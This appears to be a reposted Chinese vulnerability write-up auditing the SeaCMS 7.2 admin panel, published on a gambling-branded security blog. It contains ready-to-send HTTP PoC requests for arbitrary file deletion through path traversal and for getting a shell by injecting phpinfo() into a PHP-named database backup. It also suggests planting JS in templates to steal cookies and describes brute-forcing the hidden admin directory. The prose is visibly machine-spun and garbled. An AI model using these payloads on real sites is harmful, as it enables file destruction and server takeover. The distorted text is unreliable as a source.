一个cms7.2-随意文件删除&Getshell(后台篇) | 申博官网
登录
  • 欢迎进入Sunbet!
  • 如果您觉得Sunbet对你有帮助,那么赶紧使用Ctrl+D 收藏Sunbet并分享出去吧
  • 您好,这里是Sunbet!

一个cms7.2-随意文件删除&Getshell(后台篇)

Sunbet_安全防护 申博 267次浏览 已收录 0个评论

一个cms7.2-随意文件删除&Getshell(后台篇)

code:https://www.seacms.net
Version:7.2

0x01 媒介

小伙伴在群里丢了个站说指纹识别出来是seacms 百度找到的已知破绽均无效 因而就审计一下咯。

本来想还是黑盒测试 发明前台在测74cms恣意文件夹删除时payload的目次没注重多写了两层 寻常积聚的种种对象 写的代码全被格了 没有备份…

![B7C804FC7B1293C44690B9E4EA2636A0]

一个cms7.2-随意文件删除&Getshell(后台篇)

0x02 历程

一个cms7.2-随意文件删除&Getshell(后台篇)

翻开代码目次注重到版本号和dedecms一样 写到了ver.txt里 实战中可先看一下版本 再运用对应exp。

版本检察:

http://host.com/data/admin/ver.txt

安装完发明背景目次并非有纪律的单词一类的 看了下/install/index.php文件的代码第279-299中有个randomkeys函数

function randomkeys($length)   
    {   
    $pattern = 'abcdefgh1234567890jklmnopqrstuvwxyz';  
    for($i=0;$i<$length;$i++)   
    {   
        $key .= $pattern{mt_rand(0,35)}; 
    }   
    return $key;   
    }

    $newadminname=randomkeys(6);
    $jpath='../admin';
    $xpath='../'.$newadminname;
    $cadmin=rename($jpath,$xpath);
    if($cadmin==true){$cadmininfo='【主要】:背景治理地点:'.$baseurl.'/'.$newadminname;}
    else{$cadmininfo='【主要】:背景治理地点:'.$baseurl.'/admin';}

    include('./templates/step-5.html');
    exit();

}

randomkeys函数是天生随机字符串的 $newadminname挪用并取了一个六位的字符串 随后将默许的admin目次重命名为这个随机的字符串。bp爆破payload设置体式格局以下:

一个cms7.2-随意文件删除&Getshell(后台篇)

0x02_1 恣意文件删除

看到背景目次下的admin_template.php时发明法:
前30行代码为

<?php
require_once(dirname(__FILE__)."/config.php");
if(empty($action))
{
    $action = '';
}

$dirTemplate="../templets";

if($action=='edit')
{
    if(substr(strtolower($filedir),0,11)!=$dirTemplate){
        ShowMsg("只许可编纂templets目次!","admin_template.php");
        exit;
    }
    $filetype=getfileextend($filedir);
    if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
    {
        ShowMsg("操纵被制止!","admin_template.php");
        exit;
    }
    $filename=substr($filedir,strrpos($filedir,'/')+1,strlen($filedir)-1);
    $content=loadFile($filedir);
    $content = m_eregi_replace("<textarea","##textarea",$content);
    $content = m_eregi_replace("</textarea","##/textarea",$content);
    $content = m_eregi_replace("<form","##form",$content);
    $content = m_eregi_replace("</form","##/form",$content);
    include(sea_ADMIN.'/templets/admin_template.htm');
    exit();
}

$dirTemplate流动了仅为../templets目次 并在编纂前取了途径的前11位字符串来和../templets对照 若是不等就提醒只许可编纂templets目次!那末你不许可我编纂../templets前的途径来遍历文件目次 我编纂背面的来遍历呢?

一个cms7.2-随意文件删除&Getshell(后台篇)

确实可行 然则没法编纂或许读文件 由于

if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
    {
        ShowMsg("操纵被制止!","admin_template.php");
        exit;
    }

在编纂或读取文件后顺序会先考证一遍文件后缀 限制了牢牢许可编纂html htm js css txt这四种文件 实战中此处可利用来插进去js代码 猎取cookie 维权运用。

追随看到下面的第114-132行

elseif($action=='del')
{
    if($filedir == '')
    {
        ShowMsg('未指定要删除的文件或文件名不合法', '-1');
        exit();
    }
    if(substr(strtolower($filedir),0,11)!=$dirTemplate){
        ShowMsg("只许可删除templets目次内的文件!","admin_template.php");
        exit;
    }
    $folder=substr($filedir,0,strrpos($filedir,'/'));
    if(!is_dir($folder)){
        ShowMsg("目次不存在!","admin_template.php");
        exit;
    }
    unlink($filedir);
    ShowMsg("操纵胜利!","admin_template.php?path=".$folder);
    exit;
}

能够注重到此处并未像上面一样限制后缀 便可便可遍历到上级目次取删除指定恣意文件。

POC(删除install_lock.txt文件):

GET /qdybap/admin_template.php?action=del&filedir=../templets/default/images/../../../install/install_lock.txt HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/qdybap/admin_template.php?path=../templets/default/images
Connection: close
Cookie: think_template=default; __tins__19820877=%7B%22sid%22%3A%201546784203337%2C%20%22vd%22%3A%204%2C%20%22expires%22%3A%201546786104291%7D; __51cke__=; __51laig__=6; PHPSESSID=5322944de96922c98817ca8b2463c379; __tins__19820873=%7B%22sid%22%3A%201546784394633%2C%20%22vd%22%3A%202%2C%20%22expires%22%3A%201546786703612%7D
Upgrade-Insecure-Requests: 1

效果:

一个cms7.2-随意文件删除&Getshell(后台篇)

追随看到下面的代码 看到第164行代码为:

createTextFile($content,$filedir."/self_".$name.".html");

建立的文件的后缀直接写死了的 这意味着没法经由过程此处写入shell。
那末就没办法了么?

0x02_2 Getshell

关于Getshell 笔者从正午一点 一向研讨到下昼五点 终究终究绕过重重限制了!!!

0x02_2_1 第一次无望

先看上传的限制:

/include/uploadsafe.inc.php: 
   12  //为了防备用户经由过程注入的能够性改动了数据库 
   13: //这里强迫限制的某些文件范例制止上传
   14  $cfg_not_allowall = "php|pl|cgi|asp|asa|cer|aspx|jsp|php3|shtm|shtml";
   15  $keyarr = array('name','type','tmp_name','size');

直接写死 不许可上传php文件

背景目次下的/uploads.php:

一个cms7.2-随意文件删除&Getshell(后台篇)

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

第48行:

var $allowExts = array('jpg', 'gif',  'png', 'rar', 'zip', 'bmp');

白名单写死

0x02_2_2 第二次无望

最让人无望的是另外一处

一个cms7.2-随意文件删除&Getshell(后台篇)

看起来是能够改设置装备摆设的

现实上

一个cms7.2-随意文件删除&Getshell(后台篇)

一个cms7.2-随意文件删除&Getshell(后台篇)

/Users/CoolCat/php/qdybap/admin_config_mark.php第25-52行

if(is_uploaded_file($newimg))
    {
        $allowimgtype= explode('|',$cfg_imgtype);
        $finfo=pathinfo($newimg_name);
        $imgfile_type = $finfo['extension'];
        if(!in_array($imgfile_type,$allowimgtype))
        {
            ShowMsg("上传的图片花样毛病,请运用 {$cfg_photo_support}花样的个中一种!","-1");
            exit();
        }
        if($imgfile_type=='image/xpng')
        {
            $shortname = ".png";
        }
        else if($imgfile_type=='image/gif')
        {
            $shortname = ".gif";
        }
        else if($imgfile_type=='image/jpeg')
        {
            $shortname = ".jpg";
        }
        else 
        {
            $shortname = ".gif";
        }
        $photo_markimg = 'mark'.$shortname;
        @move_uploaded_file($newimg,sea_DATA."/mark/".$photo_markimg);

严厉限制死的 设置装备摆设确实写出来了 然则仅仅作了一个提醒罢了 现实上传历程当中流动只能上传jpg|gif|png 并且过了了单引号 没法经由过程此处写出shell

给你愿望又让你无望

0x02_2_3 第三次无望

因而笔者又寄愿望于另外一处

一个cms7.2-随意文件删除&Getshell(后台篇)

经由过程sql的outfile写出shell文件。然则

看到/include/sql.class.php的545-638行

//若是是一般查询语句,直接过滤一些特别语法
    if($querytype=='select')
    {
        $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

        //$notallow2 = "--|/\*";
        if(m_eregi($notallow1,$db_string))
        {
            fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
            exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
        }
    }

    //完全的SQL搜检
    while (true)
    {
        $pos = strpos($db_string, '\'', $pos + 1);
        if ($pos === false)
        {
            break;
        }
        $clean .= substr($db_string, $old_pos, $pos - $old_pos);
        while (true)
        {
            $pos1 = strpos($db_string, '\'', $pos + 1);
            $pos2 = strpos($db_string, '\\', $pos + 1);
            if ($pos1 === false)
            {
                break;
            }
            elseif ($pos2 == false || $pos2 > $pos1)
            {
                $pos = $pos1;
                break;
            }
            $pos = $pos2 + 1;
        }
        $clean .= '$s$';
        $old_pos = $pos + 1;
    }
    $clean .= substr($db_string, $old_pos);
    $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

    //老版本的Mysql其实不支撑union,常常使用的顺序里也不运用union,然则一些黑客运用它,以是搜检它
    if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
    {
        $fail = true;
        $error="union detect";
    }

    //宣布版本的顺序能够比较少包孕--,#如许的解释,然则黑客常常运用它们
    elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false)
    {
        $fail = true;
        $error="comment detect";
    }

    //这些函数不会被运用,然则黑客会用它来操纵文件,down掉数据库
    elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
    {
        $fail = true;
        $error="slown down detect";
    }
    elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
    {
        $fail = true;
        $error="slown down detect";
    }
    elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
    {
        $fail = true;
        $error="file fun detect";
    }
    elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
    {
        $fail = true;
        $error="file fun detect";
    }

    //老版本的MYSQL不支撑子查询,我们的顺序里能够也用得少,然则黑客能够运用它来查询数据库敏感信息
    elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
    {
        $fail = true;
        $error="sub select detect";
    }
    if (!empty($fail))
    {
        fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
        exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
    }
    else
    {
        return $db_string;
    }

限制得死死的

一个cms7.2-随意文件删除&Getshell(后台篇)

并且是两层waf

那末真的没办法了么?

0x02_2_4 拨云见雾

一个cms7.2-随意文件删除&Getshell(后台篇)

笔者在测试数据库备份时注重到备份文件是以php为后缀的 如许的优点是能够防备数据库备份被扫描下载

既然是php文件 那末能不能经由过程修正数据库再备份到getshell呢?

一个cms7.2-随意文件删除&Getshell(后台篇)

一个cms7.2-随意文件删除&Getshell(后台篇)

Poc:

POST /qdybap/ebak/phomebak.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/qdybap/ebak/ChangeTable.php?mydbname=seacms&keyboard=sea
Content-Type: application/x-www-form-urlencoded
Content-Length: 1157
Connection: close
Cookie: think_template=default; __tins__19820877=%7B%22sid%22%3A%201546784203337%2C%20%22vd%22%3A%204%2C%20%22expires%22%3A%201546786104291%7D; __51cke__=; __51laig__=7; PHPSESSID=5322944de96922c98817ca8b2463c379; __tins__19820873=%7B%22sid%22%3A%201546849264391%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201546851064391%7D
Upgrade-Insecure-Requests: 1

phome=DoEbak&mydbname=seacms&baktype=0&filesize=1024&bakline=1000&autoauf=1&bakstru=1&dbchar=utf8&bakdatatype=1&mypath=seacms_20190107_uLDbip&insertf=replace&waitbaktime=0&readme=&tablename%5B%5D=sea_admin&tablename%5B%5D=sea_arcrank&tablename%5B%5D=sea_buy&tablename%5B%5D=sea_cck&tablename%5B%5D=sea_co_cls&tablename%5B%5D=sea_co_config&tablename%5B%5D=sea_co_data&tablename%5B%5D=sea_co_filters&tablename%5B%5D=sea_co_news&tablename%5B%5D=sea_co_type&tablename%5B%5D=sea_co_url&tablename%5B%5D=sea_comment&tablename%5B%5D=sea_content&tablename%5B%5D=sea_count&tablename%5B%5D=sea_crons&tablename%5B%5D=sea_data&tablename%5B%5D=sea_erradd&tablename%5B%5D=sea_favorite&tablename%5B%5D=sea_flink&tablename%5B%5D=sea_guestbook&tablename%5B%5D=sea_ie&tablename%5B%5D=sea_jqtype&tablename%5B%5D=sea_member&tablename%5B%5D=sea_member_group&tablename%5B%5D=sea_myad&tablename%5B%5D=sea_mytag&tablename%5B%5D=sea_news&tablename%5B%5D=sea_playdata&tablename%5B%5D=sea_search_keywords&tablename%5B%5D=sea_tags&tablename%5B%5D=sea_temp&tablename%5B%5D=sea_topic&tablename%5B%5D=sea_type&tablename%5B%5D=phpinfo()&chkall=on&Submit=%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD

此处笔者也碰到个坑 组织payload时要统筹截图中圈起来的右上和做下两处 不然会失足(毛病代码500)效果发明phpinfo() 不消改 恰好就能够用了。

至此 该CMS背景审计完毕。

0x03 总结

笔者在fb上看到过该CMS的作者在宣布其0day的文章下看到其平心静气的点评破绽 预计其自身也打仗平安这块 背景限制确实写得六 两层waf 小弟信服!


Sunbet|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明一个cms7.2-随意文件删除&Getshell(后台篇)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址